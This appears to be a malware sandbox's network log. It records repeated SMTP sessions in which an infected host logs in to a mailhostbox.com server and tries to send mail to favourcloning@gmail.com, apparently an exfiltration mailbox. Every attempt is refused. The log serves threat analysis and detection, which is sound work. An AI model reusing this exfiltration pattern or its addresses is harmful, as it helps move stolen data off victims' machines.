Sep 19, 2024 12:24:18.738708019 CEST	587	61665	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:18.739427090 CEST	61665	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:18.903228045 CEST	587	61665	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:20.471935987 CEST	587	61664	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:20.474725962 CEST	61664	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:20.634368896 CEST	587	61664	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:20.634536982 CEST	61664	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:20.813930035 CEST	587	61664	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:21.461950064 CEST	587	61668	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:21.462079048 CEST	61668	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:21.623764038 CEST	587	61668	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:21.623915911 CEST	61668	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:21.783379078 CEST	587	61668	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:22.305737019 CEST	587	61669	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:22.305890083 CEST	61669	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:22.461276054 CEST	587	61669	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:22.462626934 CEST	61669	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:22.620266914 CEST	587	61669	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:23.531234980 CEST	587	61668	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:23.531399012 CEST	61668	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:23.696309090 CEST	587	61668	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:23.696528912 CEST	61668	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:23.871824980 CEST	587	61668	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:24.467552900 CEST	587	61669	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:24.467880011 CEST	61669	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:24.624241114 CEST	587	61669	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:24.628606081 CEST	61669	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:24.802997112 CEST	587	61669	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:26.381696939 CEST	587	61674	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:26.387403965 CEST	61674	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:26.542381048 CEST	587	61674	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:26.567413092 CEST	61674	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:26.724931002 CEST	587	61674	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:26.762228012 CEST	587	61675	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:26.762525082 CEST	61675	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:26.917865038 CEST	587	61675	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:26.921818972 CEST	61675	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:27.080142021 CEST	587	61675	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:29.527757883 CEST	587	61675	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:29.527926922 CEST	61675	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:29.683679104 CEST	587	61675	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:29.683917046 CEST	61675	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:29.855340958 CEST	587	61675	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:30.073389053 CEST	587	61677	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:30.073538065 CEST	61677	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:30.228236914 CEST	587	61677	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:30.231462955 CEST	61677	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:30.388480902 CEST	587	61677	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:32.474282026 CEST	587	61677	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:32.474591970 CEST	61677	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:32.581605911 CEST	587	61679	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:32.581764936 CEST	61679	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:32.630568981 CEST	587	61677	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:32.630729914 CEST	61677	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:32.738739967 CEST	587	61679	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:32.744388103 CEST	61679	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:33.000521898 CEST	587	61677	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:33.000772953 CEST	587	61679	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:34.737231016 CEST	587	61682	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:34.742543936 CEST	61682	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:35.088757038 CEST	587	61682	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:35.090626001 CEST	61682	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:35.302448988 CEST	587	61682	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:35.456424952 CEST	587	61682	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:35.848872900 CEST	587	61683	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:35.848992109 CEST	61683	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:36.002737045 CEST	587	61683	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:36.002895117 CEST	61683	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:36.159444094 CEST	587	61683	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:37.476744890 CEST	587	61682	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:37.476919889 CEST	61682	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:37.632280111 CEST	587	61682	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:37.632471085 CEST	61682	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:37.812377930 CEST	587	61682	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:38.535079956 CEST	587	61683	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:38.536766052 CEST	61683	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:38.692878008 CEST	587	61683	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:38.696254015 CEST	61683	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:38.869651079 CEST	587	61683	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:39.483246088 CEST	587	61686	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:39.483376026 CEST	61686	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:39.643723011 CEST	587	61686	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:39.643903971 CEST	61686	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:39.806859016 CEST	587	61686	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:40.450320005 CEST	587	61687	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:40.451070070 CEST	61687	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:41.378544092 CEST	587	61687	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:41.378725052 CEST	61687	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:41.378796101 CEST	587	61687	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:41.378886938 CEST	587	61687	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:41.590683937 CEST	587	61687	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:41.590852022 CEST	587	61686	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:41.591013908 CEST	61686	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:41.744832993 CEST	587	61687	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:41.755908966 CEST	587	61686	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:41.756076097 CEST	61686	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:41.932982922 CEST	587	61686	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:43.401596069 CEST	587	61689	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:43.401722908 CEST	61689	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:43.480572939 CEST	587	61687	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:43.480737925 CEST	61687	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:43.557578087 CEST	587	61689	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:43.557754040 CEST	61689	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:43.644473076 CEST	587	61687	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:43.644618988 CEST	61687	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:43.715934992 CEST	587	61689	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:43.817184925 CEST	587	61687	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:45.160415888 CEST	587	61689	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:45.160558939 CEST	61689	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:45.317660093 CEST	587	61689	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:45.317774057 CEST	61689	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:45.445620060 CEST	587	61691	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:45.445759058 CEST	61691	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:45.495868921 CEST	587	61689	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:45.600225925 CEST	587	61691	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:45.600421906 CEST	61691	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:45.757788897 CEST	587	61691	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:47.972232103 CEST	587	61693	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:47.972393990 CEST	61693	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:47.972524881 CEST	587	61691	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:47.972558022 CEST	587	61693	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:47.972666025 CEST	61691	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:47.972788095 CEST	587	61691	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:47.972817898 CEST	587	61693	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:47.972866058 CEST	587	61691	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:47.972927094 CEST	587	61693	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:48.200428963 CEST	61693	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:48.213720083 CEST	587	61691	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:48.365124941 CEST	587	61693	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:48.366162062 CEST	587	61691	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:48.367841959 CEST	61691	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:48.367844105 CEST	61693	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:48.525326014 CEST	587	61693	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:48.539376974 CEST	587	61691	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:50.041551113 CEST	587	61695	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:50.041910887 CEST	61695	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:50.200952053 CEST	587	61695	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:50.208484888 CEST	61695	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:50.371114016 CEST	587	61695	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:50.498954058 CEST	587	61693	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:50.504439116 CEST	61693	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:50.665708065 CEST	587	61693	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:50.667659998 CEST	61693	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:50.849482059 CEST	587	61693	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:52.164482117 CEST	587	61695	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:52.172657013 CEST	61695	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:52.331701040 CEST	587	61695	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:52.336474895 CEST	61695	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:52.392210007 CEST	587	61697	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:52.396445990 CEST	61697	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:52.516465902 CEST	587	61695	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:52.555414915 CEST	587	61697	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:52.560436010 CEST	61697	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:52.720289946 CEST	587	61697	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:54.043314934 CEST	587	61699	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:54.043555975 CEST	61699	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:54.163089037 CEST	587	61697	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:54.168792009 CEST	61697	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:54.205528021 CEST	587	61699	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:54.211920977 CEST	61699	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:54.326211929 CEST	587	61697	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:54.326787949 CEST	61697	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:54.374612093 CEST	587	61699	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:54.503225088 CEST	587	61697	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:56.001616955 CEST	587	61701	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:56.001774073 CEST	61701	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:56.156668901 CEST	587	61701	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:56.156969070 CEST	61701	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:56.314208031 CEST	587	61701	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:57.678402901 CEST	587	61703	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:57.678559065 CEST	61703	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:57.833432913 CEST	587	61703	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:57.833650112 CEST	61703	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:57.994421005 CEST	587	61703	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:58.503451109 CEST	587	61701	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:58.504456043 CEST	61701	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:58.664649010 CEST	587	61701	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:58.665327072 CEST	61701	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:58.847604036 CEST	587	61701	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:25:00.162880898 CEST	587	61703	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:25:00.163022995 CEST	61703	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:25:00.318497896 CEST	587	61703	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:25:00.318825006 CEST	61703	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
